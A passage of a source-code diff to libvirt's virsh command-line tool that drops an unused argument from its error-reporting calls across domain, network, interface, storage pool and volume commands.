+            vshError(ctl, "%s", _("Invalid value of weight"));
             return -1;
         } else {
             param->value.ui = val;
@@ -1217,7 +1213,7 @@ cmdSchedInfoUpdate(vshControl *ctl, const vshCmd *cmd,
         int val;
         val = vshCommandOptInt(cmd, "cap", &found);
         if (!found) {
-            vshError(ctl, FALSE, "%s", _("Invalid value of cap"));
+            vshError(ctl, "%s", _("Invalid value of cap"));
             return -1;
         } else {
             param->value.ui = val;
@@ -1229,7 +1225,7 @@ cmdSchedInfoUpdate(vshControl *ctl, const vshCmd *cmd,
         char *val = strchr(data, '=');
         int match = 0;
         if (!val) {
-            vshError(ctl, FALSE, "%s", _("Invalid syntax for --set, expecting name=value"));
+            vshError(ctl, "%s", _("Invalid syntax for --set, expecting name=value"));
             return -1;
         }
         *val = '\0';
@@ -1243,35 +1239,35 @@ cmdSchedInfoUpdate(vshControl *ctl, const vshCmd *cmd,
         switch (param->type) {
         case VIR_DOMAIN_SCHED_FIELD_INT:
             if (virStrToLong_i(val, NULL, 10, &param->value.i) < 0) {
-                vshError(ctl, FALSE, "%s",
+                vshError(ctl, "%s",
                          _("Invalid value for parameter, expecting an int"));
                 return -1;
             }
             break;
         case VIR_DOMAIN_SCHED_FIELD_UINT:
             if (virStrToLong_ui(val, NULL, 10, &param->value.ui) < 0) {
-                vshError(ctl, FALSE, "%s",
+                vshError(ctl, "%s",
                          _("Invalid value for parameter, expecting an unsigned int"));
                 return -1;
             }
             break;
         case VIR_DOMAIN_SCHED_FIELD_LLONG:
             if (virStrToLong_ll(val, NULL, 10, &param->value.l) < 0) {
-                vshError(ctl, FALSE, "%s",
+                vshError(ctl, "%s",
                          _("Invalid value for parameter, expecting an long long"));
                 return -1;
             }
             break;
         case VIR_DOMAIN_SCHED_FIELD_ULLONG:
             if (virStrToLong_ull(val, NULL, 10, &param->value.ul) < 0) {
-                vshError(ctl, FALSE, "%s",
+                vshError(ctl, "%s",
                          _("Invalid value for parameter, expecting an unsigned long long"));
                 return -1;
             }
             break;
         case VIR_DOMAIN_SCHED_FIELD_DOUBLE:
             if (virStrToDouble(val, NULL, &param->value.d) < 0) {
-                vshError(ctl, FALSE, "%s", _("Invalid value for parameter, expecting a double"));
+                vshError(ctl, "%s", _("Invalid value for parameter, expecting a double"));
                 return -1;
             }
             break;
@@ -1408,7 +1404,7 @@ cmdRestore(vshControl *ctl, const vshCmd *cmd)
     if (virDomainRestore(ctl->conn, from) == 0) {
         vshPrint(ctl, _("Domain restored from %s\n"), from);
     } else {
-        vshError(ctl, FALSE, _("Failed to restore domain from %s"), from);
+        vshError(ctl, _("Failed to restore domain from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -1449,8 +1445,7 @@ cmdDump(vshControl *ctl, const vshCmd *cmd)
     if (virDomainCoreDump(dom, to, 0) == 0) {
         vshPrint(ctl, _("Domain %s dumped to %s\n"), name, to);
     } else {
-        vshError(ctl, FALSE, _("Failed to core dump domain %s to %s"),
-                 name, to);
+        vshError(ctl, _("Failed to core dump domain %s to %s"), name, to);
         ret = FALSE;
     }
 
@@ -1488,7 +1483,7 @@ cmdResume(vshControl *ctl, const vshCmd *cmd)
     if (virDomainResume(dom) == 0) {
         vshPrint(ctl, _("Domain %s resumed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to resume domain %s"), name);
+        vshError(ctl, _("Failed to resume domain %s"), name);
         ret = FALSE;
     }
 
@@ -1526,7 +1521,7 @@ cmdShutdown(vshControl *ctl, const vshCmd *cmd)
     if (virDomainShutdown(dom) == 0) {
         vshPrint(ctl, _("Domain %s is being shutdown\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to shutdown domain %s"), name);
+        vshError(ctl, _("Failed to shutdown domain %s"), name);
         ret = FALSE;
     }
 
@@ -1564,7 +1559,7 @@ cmdReboot(vshControl *ctl, const vshCmd *cmd)
     if (virDomainReboot(dom, 0) == 0) {
         vshPrint(ctl, _("Domain %s is being rebooted\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to reboot domain %s"), name);
+        vshError(ctl, _("Failed to reboot domain %s"), name);
         ret = FALSE;
     }
 
@@ -1602,7 +1597,7 @@ cmdDestroy(vshControl *ctl, const vshCmd *cmd)
     if (virDomainDestroy(dom) == 0) {
         vshPrint(ctl, _("Domain %s destroyed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to destroy domain %s"), name);
+        vshError(ctl, _("Failed to destroy domain %s"), name);
         ret = FALSE;
     }
 
@@ -1835,8 +1830,8 @@ cmdVcpuinfo(vshControl *ctl, const vshCmd *cmd)
         }
     } else {
         if (info.state == VIR_DOMAIN_SHUTOFF) {
-            vshError(ctl, FALSE, "%s",
-                 _("Domain shut off, virtual CPUs not present."));
+            vshError(ctl, "%s",
+                     _("Domain shut off, virtual CPUs not present."));
         }
         ret = FALSE;
     }
@@ -1886,14 +1881,13 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
 
     vcpu = vshCommandOptInt(cmd, "vcpu", &vcpufound);
     if (!vcpufound) {
-        vshError(ctl, FALSE, "%s",
-                 _("vcpupin: Invalid or missing vCPU number."));
+        vshError(ctl, "%s", _("vcpupin: Invalid or missing vCPU number."));
         virDomainFree(dom);
         return FALSE;
     }
 
     if (!(cpulist = vshCommandOptString(cmd, "cpulist", NULL))) {
-        vshError(ctl, FALSE, "%s", _("vcpupin: Missing cpulist"));
+        vshError(ctl, "%s", _("vcpupin: Missing cpulist"));
         virDomainFree(dom);
         return FALSE;
     }
@@ -1904,14 +1898,13 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
     }
 
     if (virDomainGetInfo(dom, &info) != 0) {
-        vshError(ctl, FALSE, "%s",
-                 _("vcpupin: failed to get domain informations."));
+        vshError(ctl, "%s", _("vcpupin: failed to get domain informations."));
         virDomainFree(dom);
         return FALSE;
     }
 
     if (vcpu >= info.nrVirtCpu) {
-        vshError(ctl, FALSE, "%s", _("vcpupin: Invalid vCPU number."));
+        vshError(ctl, "%s", _("vcpupin: Invalid vCPU number."));
         virDomainFree(dom);
         return FALSE;
     }
@@ -1920,7 +1913,7 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
      * numbers and give an intelligent error message if not.
      */
     if (cpulist[0] == '\0') {
-        vshError(ctl, FALSE, "%s", _("cpulist: Invalid format. Empty string."));
+        vshError(ctl, "%s", _("cpulist: Invalid format. Empty string."));
         virDomainFree (dom);
         return FALSE;
     }
@@ -1930,7 +1923,9 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
         switch (state) {
         case expect_num:
           if (!c_isdigit (cpulist[i])) {
-                vshError( ctl, FALSE, _("cpulist: %s: Invalid format. Expecting digit at position %d (near '%c')."), cpulist, i, cpulist[i]);
+                vshError(ctl, _("cpulist: %s: Invalid format. Expecting "
+                                "digit at position %d (near '%c')."),
+                         cpulist, i, cpulist[i]);
                 virDomainFree (dom);
                 return FALSE;
             }
@@ -1940,14 +1935,18 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
             if (cpulist[i] == ',')
                 state = expect_num;
             else if (!c_isdigit (cpulist[i])) {
-                vshError(ctl, FALSE, _("cpulist: %s: Invalid format. Expecting digit or comma at position %d (near '%c')."), cpulist, i, cpulist[i]);
+                vshError(ctl, _("cpulist: %s: Invalid format. Expecting "
+                                "digit or comma at position %d (near '%c')."),
+                         cpulist, i, cpulist[i]);
                 virDomainFree (dom);
                 return FALSE;
             }
         }
     }
     if (state == expect_num) {
-        vshError(ctl, FALSE, _("cpulist: %s: Invalid format. Trailing comma at position %d."), cpulist, i);
+        vshError(ctl, _("cpulist: %s: Invalid format. Trailing comma "
+                        "at position %d."),
+                 cpulist, i);
         virDomainFree (dom);
         return FALSE;
     }
@@ -1961,7 +1960,7 @@ cmdVcpupin(vshControl *ctl, const vshCmd *cmd)
         if (cpu < VIR_NODEINFO_MAXCPUS(nodeinfo)) {
             VIR_USE_CPU(cpumap, cpu);
         } else {
-            vshError(ctl, FALSE, _("Physical CPU %d doesn't exist."), cpu);
+            vshError(ctl, _("Physical CPU %d doesn't exist."), cpu);
             free(cpumap);
             virDomainFree(dom);
             return FALSE;
@@ -2011,7 +2010,7 @@ cmdSetvcpus(vshControl *ctl, const vshCmd *cmd)
 
     count = vshCommandOptInt(cmd, "count", &count);
     if (count <= 0) {
-        vshError(ctl, FALSE, "%s", _("Invalid number of virtual CPUs."));
+        vshError(ctl, "%s", _("Invalid number of virtual CPUs."));
         virDomainFree(dom);
         return FALSE;
     }
@@ -2023,7 +2022,7 @@ cmdSetvcpus(vshControl *ctl, const vshCmd *cmd)
     }
 
     if (count > maxcpu) {
-        vshError(ctl, FALSE, "%s", _("Too many virtual CPUs."));
+        vshError(ctl, "%s", _("Too many virtual CPUs."));
         virDomainFree(dom);
         return FALSE;
     }
@@ -2068,19 +2067,19 @@ cmdSetmem(vshControl *ctl, const vshCmd *cmd)
     kilobytes = vshCommandOptInt(cmd, "kilobytes", &kilobytes);
     if (kilobytes <= 0) {
         virDomainFree(dom);
-        vshError(ctl, FALSE, _("Invalid value of %d for memory size"), kilobytes);
+        vshError(ctl, _("Invalid value of %d for memory size"), kilobytes);
         return FALSE;
     }
 
     if (virDomainGetInfo(dom, &info) != 0) {
         virDomainFree(dom);
-        vshError(ctl, FALSE, "%s", _("Unable to verify MaxMemorySize"));
+        vshError(ctl, "%s", _("Unable to verify MaxMemorySize"));
         return FALSE;
     }
 
     if (kilobytes > info.maxMem) {
         virDomainFree(dom);
-        vshError(ctl, FALSE, _("Invalid value of %d for memory size"), kilobytes);
+        vshError(ctl, _("Invalid value of %d for memory size"), kilobytes);
         return FALSE;
     }
 
@@ -2124,26 +2123,26 @@ cmdSetmaxmem(vshControl *ctl, const vshCmd *cmd)
     kilobytes = vshCommandOptInt(cmd, "kilobytes", &kilobytes);
     if (kilobytes <= 0) {
         virDomainFree(dom);
-        vshError(ctl, FALSE, _("Invalid value of %d for memory size"), kilobytes);
+        vshError(ctl, _("Invalid value of %d for memory size"), kilobytes);
         return FALSE;
     }
 
     if (virDomainGetInfo(dom, &info) != 0) {
         virDomainFree(dom);
-        vshError(ctl, FALSE, "%s", _("Unable to verify current MemorySize"));
+        vshError(ctl, "%s", _("Unable to verify current MemorySize"));
         return FALSE;
     }
 
     if (kilobytes < info.memory) {
         if (virDomainSetMemory(dom, kilobytes) != 0) {
             virDomainFree(dom);
-            vshError(ctl, FALSE, "%s", _("Unable to shrink current MemorySize"));
+            vshError(ctl, "%s", _("Unable to shrink current MemorySize"));
             return FALSE;
         }
     }
 
     if (virDomainSetMaxMemory(dom, kilobytes) != 0) {
-        vshError(ctl, FALSE, "%s", _("Unable to change MaxMemorySize"));
+        vshError(ctl, "%s", _("Unable to change MaxMemorySize"));
         ret = FALSE;
     }
 
@@ -2169,7 +2168,7 @@ cmdNodeinfo(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
         return FALSE;
 
     if (virNodeGetInfo(ctl->conn, &info) < 0) {
-        vshError(ctl, FALSE, "%s", _("failed to get node information"));
+        vshError(ctl, "%s", _("failed to get node information"));
         return FALSE;
     }
     vshPrint(ctl, "%-20s %s\n", _("CPU model:"), info.model);
@@ -2202,7 +2201,7 @@ cmdCapabilities (vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
         return FALSE;
 
     if ((caps = virConnectGetCapabilities (ctl->conn)) == NULL) {
-        vshError(ctl, FALSE, "%s", _("failed to get capabilities"));
+        vshError(ctl, "%s", _("failed to get capabilities"));
         return FALSE;
     }
     vshPrint (ctl, "%s\n", caps);
@@ -2446,7 +2445,7 @@ cmdDomuuid(vshControl *ctl, const vshCmd *cmd)
     if (virDomainGetUUIDString(dom, uuid) != -1)
         vshPrint(ctl, "%s\n", uuid);
     else
-        vshError(ctl, FALSE, "%s", _("failed to get domain UUID"));
+        vshError(ctl, "%s", _("failed to get domain UUID"));
 
     virDomainFree(dom);
     return TRUE;
@@ -2489,7 +2488,7 @@ cmdMigrate (vshControl *ctl, const vshCmd *cmd)
 
     desturi = vshCommandOptString (cmd, "desturi", &found);
     if (!found) {
-        vshError (ctl, FALSE, "%s", _("migrate: Missing desturi"));
+        vshError(ctl, "%s", _("migrate: Missing desturi"));
         goto done;
     }
 
@@ -2550,11 +2549,9 @@ cmdNetworkAutostart(vshControl *ctl, const vshCmd *cmd)
 
     if (virNetworkSetAutostart(network, autostart) < 0) {
         if (autostart)
-            vshError(ctl, FALSE, _("failed to mark network %s as autostarted"),
-                                   name);
+            vshError(ctl, _("failed to mark network %s as autostarted"), name);
         else
-            vshError(ctl, FALSE,_("failed to unmark network %s as autostarted"),
-                                   name);
+            vshError(ctl, _("failed to unmark network %s as autostarted"), name);
         virNetworkFree(network);
         return FALSE;
     }
@@ -2609,7 +2606,7 @@ cmdNetworkCreate(vshControl *ctl, const vshCmd *cmd)
                  virNetworkGetName(network), from);
         virNetworkFree(network);
     } else {
-        vshError(ctl, FALSE, _("Failed to create network from %s"), from);
+        vshError(ctl, _("Failed to create network from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -2657,7 +2654,7 @@ cmdNetworkDefine(vshControl *ctl, const vshCmd *cmd)
                  virNetworkGetName(network), from);
         virNetworkFree(network);
     } else {
-        vshError(ctl, FALSE, _("Failed to define network from %s"), from);
+        vshError(ctl, _("Failed to define network from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -2694,7 +2691,7 @@ cmdNetworkDestroy(vshControl *ctl, const vshCmd *cmd)
     if (virNetworkDestroy(network) == 0) {
         vshPrint(ctl, _("Network %s destroyed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to destroy network %s"), name);
+        vshError(ctl, _("Failed to destroy network %s"), name);
         ret = FALSE;
     }
 
@@ -2811,8 +2808,8 @@ cmdInterfaceEdit (vshControl *ctl, const vshCmd *cmd)
         goto cleanup;
 
     if (STRNEQ (doc, doc_reread)) {
-        vshError (ctl, FALSE, "%s",
-               _("ERROR: the XML configuration was changed by another user"));
+        vshError(ctl, "%s",
+                 _("ERROR: the XML configuration was changed by another user"));
         goto cleanup;
     }
 
@@ -2874,7 +2871,7 @@ cmdNetworkList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (active) {
         maxactive = virConnectNumOfNetworks(ctl->conn);
         if (maxactive < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list active networks"));
+            vshError(ctl, "%s", _("Failed to list active networks"));
             return FALSE;
         }
         if (maxactive) {
@@ -2882,7 +2879,7 @@ cmdNetworkList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
             if ((maxactive = virConnectListNetworks(ctl->conn, activeNames,
                                                     maxactive)) < 0) {
-                vshError(ctl, FALSE, "%s", _("Failed to list active networks"));
+                vshError(ctl, "%s", _("Failed to list active networks"));
                 free(activeNames);
                 return FALSE;
             }
@@ -2893,7 +2890,7 @@ cmdNetworkList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (inactive) {
         maxinactive = virConnectNumOfDefinedNetworks(ctl->conn);
         if (maxinactive < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list inactive networks"));
+            vshError(ctl, "%s", _("Failed to list inactive networks"));
             free(activeNames);
             return FALSE;
         }
@@ -2903,8 +2900,7 @@ cmdNetworkList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
             if ((maxinactive =
                      virConnectListDefinedNetworks(ctl->conn, inactiveNames,
                                                    maxinactive)) < 0) {
-                vshError(ctl, FALSE, "%s",
-                         _("Failed to list inactive networks"));
+                vshError(ctl, "%s", _("Failed to list inactive networks"));
                 free(activeNames);
                 free(inactiveNames);
                 return FALSE;
@@ -3032,7 +3028,7 @@ cmdNetworkStart(vshControl *ctl, const vshCmd *cmd)
         vshPrint(ctl, _("Network %s started\n"),
                  virNetworkGetName(network));
     } else {
-        vshError(ctl, FALSE, _("Failed to start network %s"),
+        vshError(ctl, _("Failed to start network %s"),
                  virNetworkGetName(network));
         ret = FALSE;
     }
@@ -3071,7 +3067,7 @@ cmdNetworkUndefine(vshControl *ctl, const vshCmd *cmd)
     if (virNetworkUndefine(network) == 0) {
         vshPrint(ctl, _("Network %s has been undefined\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to undefine network %s"), name);
+        vshError(ctl, _("Failed to undefine network %s"), name);
         ret = FALSE;
     }
 
@@ -3110,7 +3106,7 @@ cmdNetworkUuid(vshControl *ctl, const vshCmd *cmd)
     if (virNetworkGetUUIDString(network, uuid) != -1)
         vshPrint(ctl, "%s\n", uuid);
     else
-        vshError(ctl, FALSE, "%s", _("failed to get network UUID"));
+        vshError(ctl, "%s", _("failed to get network UUID"));
 
     virNetworkFree(network);
     return TRUE;
@@ -3148,7 +3144,7 @@ cmdInterfaceList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (active) {
         maxactive = virConnectNumOfInterfaces(ctl->conn);
         if (maxactive < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list active interfaces"));
+            vshError(ctl, "%s", _("Failed to list active interfaces"));
             return FALSE;
         }
         if (maxactive) {
@@ -3156,8 +3152,7 @@ cmdInterfaceList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
             if ((maxactive = virConnectListInterfaces(ctl->conn, activeNames,
                                                     maxactive)) < 0) {
-                vshError(ctl, FALSE, "%s",
-                         _("Failed to list active interfaces"));
+                vshError(ctl, "%s", _("Failed to list active interfaces"));
                 free(activeNames);
                 return FALSE;
             }
@@ -3168,8 +3163,7 @@ cmdInterfaceList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (inactive) {
         maxinactive = virConnectNumOfDefinedInterfaces(ctl->conn);
         if (maxinactive < 0) {
-            vshError(ctl, FALSE, "%s",
-                     _("Failed to list inactive interfaces"));
+            vshError(ctl, "%s", _("Failed to list inactive interfaces"));
             free(activeNames);
             return FALSE;
         }
@@ -3179,8 +3173,7 @@ cmdInterfaceList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
             if ((maxinactive =
                      virConnectListDefinedInterfaces(ctl->conn, inactiveNames,
                                                      maxinactive)) < 0) {
-                vshError(ctl, FALSE, "%s",
-                         _("Failed to list inactive interfaces"));
+                vshError(ctl, "%s", _("Failed to list inactive interfaces"));
                 free(activeNames);
                 free(inactiveNames);
                 return FALSE;
@@ -3373,7 +3366,7 @@ cmdInterfaceDefine(vshControl *ctl, const vshCmd *cmd)
                  virInterfaceGetName(iface), from);
         virInterfaceFree (iface);
     } else {
-        vshError(ctl, FALSE, _("Failed to define interface from %s"), from);
+        vshError(ctl, _("Failed to define interface from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -3409,7 +3402,7 @@ cmdInterfaceUndefine(vshControl *ctl, const vshCmd *cmd)
     if (virInterfaceUndefine(iface) == 0) {
         vshPrint(ctl, _("Interface %s undefined\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to undefine interface %s"), name);
+        vshError(ctl, _("Failed to undefine interface %s"), name);
         ret = FALSE;
     }
 
@@ -3447,7 +3440,7 @@ cmdInterfaceStart(vshControl *ctl, const vshCmd *cmd)
     if (virInterfaceCreate(iface, 0) == 0) {
         vshPrint(ctl, _("Interface %s started\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to start interface %s"), name);
+        vshError(ctl, _("Failed to start interface %s"), name);
         ret = FALSE;
     }
 
@@ -3485,7 +3478,7 @@ cmdInterfaceDestroy(vshControl *ctl, const vshCmd *cmd)
     if (virInterfaceDestroy(iface, 0) == 0) {
         vshPrint(ctl, _("Interface %s destroyed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to destroy interface %s"), name);
+        vshError(ctl, _("Failed to destroy interface %s"), name);
         ret = FALSE;
     }
 
@@ -3527,11 +3520,9 @@ cmdPoolAutostart(vshControl *ctl, const vshCmd *cmd)
 
     if (virStoragePoolSetAutostart(pool, autostart) < 0) {
         if (autostart)
-            vshError(ctl, FALSE, _("failed to mark pool %s as autostarted"),
-                                   name);
+            vshError(ctl, _("failed to mark pool %s as autostarted"), name);
         else
-            vshError(ctl, FALSE,_("failed to unmark pool %s as autostarted"),
-                                   name);
+            vshError(ctl, _("failed to unmark pool %s as autostarted"), name);
         virStoragePoolFree(pool);
         return FALSE;
     }
@@ -3587,7 +3578,7 @@ cmdPoolCreate(vshControl *ctl, const vshCmd *cmd)
                  virStoragePoolGetName(pool), from);
         virStoragePoolFree(pool);
     } else {
-        vshError(ctl, FALSE, _("Failed to create pool from %s"), from);
+        vshError(ctl, _("Failed to create pool from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -3641,7 +3632,7 @@ cmdNodeDeviceCreate(vshControl *ctl, const vshCmd *cmd)
                  virNodeDeviceGetName(dev), from);
         virNodeDeviceFree(dev);
     } else {
-        vshError(ctl, FALSE, _("Failed to create node device from %s"), from);
+        vshError(ctl, _("Failed to create node device from %s"), from);
         ret = FALSE;
     }
 
@@ -3687,7 +3678,7 @@ cmdNodeDeviceDestroy(vshControl *ctl, const vshCmd *cmd)
     if (virNodeDeviceDestroy(dev) == 0) {
         vshPrint(ctl, _("Destroyed node device '%s'\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to destroy node device '%s'"), name);
+        vshError(ctl, _("Failed to destroy node device '%s'"), name);
         ret = FALSE;
     }
 
@@ -3800,7 +3791,7 @@ cmdPoolCreateAs(vshControl *ctl, const vshCmd *cmd)
             vshPrint(ctl, _("Pool %s created\n"), name);
             virStoragePoolFree(pool);
         } else {
-            vshError(ctl, FALSE, _("Failed to create pool %s"), name);
+            vshError(ctl, _("Failed to create pool %s"), name);
             return FALSE;
         }
     }
@@ -3849,7 +3840,7 @@ cmdPoolDefine(vshControl *ctl, const vshCmd *cmd)
                  virStoragePoolGetName(pool), from);
         virStoragePoolFree(pool);
     } else {
-        vshError(ctl, FALSE, _("Failed to define pool from %s"), from);
+        vshError(ctl, _("Failed to define pool from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -3889,7 +3880,7 @@ cmdPoolDefineAs(vshControl *ctl, const vshCmd *cmd)
             vshPrint(ctl, _("Pool %s defined\n"), name);
             virStoragePoolFree(pool);
         } else {
-            vshError(ctl, FALSE, _("Failed to define pool %s"), name);
+            vshError(ctl, _("Failed to define pool %s"), name);
             return FALSE;
         }
     }
@@ -3927,7 +3918,7 @@ cmdPoolBuild(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolBuild(pool, 0) == 0) {
         vshPrint(ctl, _("Pool %s built\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to build pool %s"), name);
+        vshError(ctl, _("Failed to build pool %s"), name);
         ret = FALSE;
         virStoragePoolFree(pool);
     }
@@ -3966,7 +3957,7 @@ cmdPoolDestroy(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolDestroy(pool) == 0) {
         vshPrint(ctl, _("Pool %s destroyed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to destroy pool %s"), name);
+        vshError(ctl, _("Failed to destroy pool %s"), name);
         ret = FALSE;
     }
 
@@ -4005,7 +3996,7 @@ cmdPoolDelete(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolDelete(pool, 0) == 0) {
         vshPrint(ctl, _("Pool %s deleted\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to delete pool %s"), name);
+        vshError(ctl, _("Failed to delete pool %s"), name);
         ret = FALSE;
     }
 
@@ -4044,7 +4035,7 @@ cmdPoolRefresh(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolRefresh(pool, 0) == 0) {
         vshPrint(ctl, _("Pool %s refreshed\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to refresh pool %s"), name);
+        vshError(ctl, _("Failed to refresh pool %s"), name);
         ret = FALSE;
     }
     virStoragePoolFree(pool);
@@ -4124,7 +4115,7 @@ cmdPoolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (active) {
         maxactive = virConnectNumOfStoragePools(ctl->conn);
         if (maxactive < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list active pools"));
+            vshError(ctl, "%s", _("Failed to list active pools"));
             return FALSE;
         }
         if (maxactive) {
@@ -4132,7 +4123,7 @@ cmdPoolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
             if ((maxactive = virConnectListStoragePools(ctl->conn, activeNames,
                                                         maxactive)) < 0) {
-                vshError(ctl, FALSE, "%s", _("Failed to list active pools"));
+                vshError(ctl, "%s", _("Failed to list active pools"));
                 free(activeNames);
                 return FALSE;
             }
@@ -4143,7 +4134,7 @@ cmdPoolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (inactive) {
         maxinactive = virConnectNumOfDefinedStoragePools(ctl->conn);
         if (maxinactive < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list inactive pools"));
+            vshError(ctl, "%s", _("Failed to list inactive pools"));
             free(activeNames);
             return FALSE;
         }
@@ -4151,7 +4142,7 @@ cmdPoolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
             inactiveNames = vshMalloc(ctl, sizeof(char *) * maxinactive);
 
             if ((maxinactive = virConnectListDefinedStoragePools(ctl->conn, inactiveNames, maxinactive)) < 0) {
-                vshError(ctl, FALSE, "%s", _("Failed to list inactive pools"));
+                vshError(ctl, "%s", _("Failed to list inactive pools"));
                 free(activeNames);
                 free(inactiveNames);
                 return FALSE;
@@ -4273,10 +4264,10 @@ cmdPoolDiscoverSourcesAs(vshControl * ctl, const vshCmd * cmd ATTRIBUTE_UNUSED)
         if (ret < 0) {
             switch (errno) {
             case ENOMEM:
-                vshError(ctl, FALSE, "%s", _("Out of memory"));
+                vshError(ctl, "%s", _("Out of memory"));
                 break;
             default:
-                vshError(ctl, FALSE, _("virAsprintf failed (errno %d)"), errno);
+                vshError(ctl, _("virAsprintf failed (errno %d)"), errno);
             }
             return FALSE;
         }
@@ -4285,7 +4276,7 @@ cmdPoolDiscoverSourcesAs(vshControl * ctl, const vshCmd * cmd ATTRIBUTE_UNUSED)
     srcList = virConnectFindStoragePoolSources(ctl->conn, type, srcSpec, 0);
     free(srcSpec);
     if (srcList == NULL) {
-        vshError(ctl, FALSE, _("Failed to find any %s pool sources"), type);
+        vshError(ctl, _("Failed to find any %s pool sources"), type);
         return FALSE;
     }
     vshPrint(ctl, "%s", srcList);
@@ -4336,7 +4327,7 @@ cmdPoolDiscoverSources(vshControl * ctl, const vshCmd * cmd ATTRIBUTE_UNUSED)
     srcList = virConnectFindStoragePoolSources(ctl->conn, type, srcSpec, 0);
     free(srcSpec);
     if (srcList == NULL) {
-        vshError(ctl, FALSE, _("Failed to find any %s pool sources"), type);
+        vshError(ctl, _("Failed to find any %s pool sources"), type);
         return FALSE;
     }
     vshPrint(ctl, "%s", srcList);
@@ -4503,8 +4494,7 @@ cmdPoolStart(vshControl *ctl, const vshCmd *cmd)
         vshPrint(ctl, _("Pool %s started\n"),
                  virStoragePoolGetName(pool));
     } else {
-        vshError(ctl, FALSE, _("Failed to start pool %s"),
-                 virStoragePoolGetName(pool));
+        vshError(ctl, _("Failed to start pool %s"), virStoragePoolGetName(pool));
         ret = FALSE;
     }
 
@@ -4585,12 +4575,12 @@ cmdVolCreateAs(vshControl *ctl, const vshCmd *cmd)
     if (!found)
         goto cleanup;
     if (cmdVolSize(capacityStr, &capacity) < 0)
-        vshError(ctl, FALSE, _("Malformed size %s"), capacityStr);
+        vshError(ctl, _("Malformed size %s"), capacityStr);
 
     allocationStr = vshCommandOptString(cmd, "allocation", &found);
     if (allocationStr &&
         cmdVolSize(allocationStr, &allocation) < 0)
-        vshError(ctl, FALSE, _("Malformed size %s"), allocationStr);
+        vshError(ctl, _("Malformed size %s"), allocationStr);
 
     format = vshCommandOptString(cmd, "format", &found);
 
@@ -4623,7 +4613,7 @@ cmdVolCreateAs(vshControl *ctl, const vshCmd *cmd)
         virStorageVolFree(vol);
         return TRUE;
     } else {
-        vshError(ctl, FALSE, _("Failed to create vol %s"), name);
+        vshError(ctl, _("Failed to create vol %s"), name);
         return FALSE;
     }
 
@@ -4664,7 +4654,7 @@ cmdPoolUndefine(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolUndefine(pool) == 0) {
         vshPrint(ctl, _("Pool %s has been undefined\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to undefine pool %s"), name);
+        vshError(ctl, _("Failed to undefine pool %s"), name);
         ret = FALSE;
     }
 
@@ -4703,7 +4693,7 @@ cmdPoolUuid(vshControl *ctl, const vshCmd *cmd)
     if (virStoragePoolGetUUIDString(pool, uuid) != -1)
         vshPrint(ctl, "%s\n", uuid);
     else
-        vshError(ctl, FALSE, "%s", _("failed to get pool UUID"));
+        vshError(ctl, "%s", _("failed to get pool UUID"));
 
     virStoragePoolFree(pool);
     return TRUE;
@@ -4762,7 +4752,7 @@ cmdVolCreate(vshControl *ctl, const vshCmd *cmd)
                  virStorageVolGetName(vol), from);
         virStorageVolFree(vol);
     } else {
-        vshError(ctl, FALSE, _("Failed to create vol from %s"), from);
+        vshError(ctl, _("Failed to create vol from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -4819,7 +4809,7 @@ cmdVolCreateFrom(vshControl *ctl, const vshCmd *cmd)
         vshPrint(ctl, _("Vol %s created from input vol %s\n"),
                  virStorageVolGetName(newvol), virStorageVolGetName(inputvol));
     } else {
-        vshError(ctl, FALSE, _("Failed to create vol from %s"), from);
+        vshError(ctl, _("Failed to create vol from %s"), from);
         goto cleanup;
     }
 
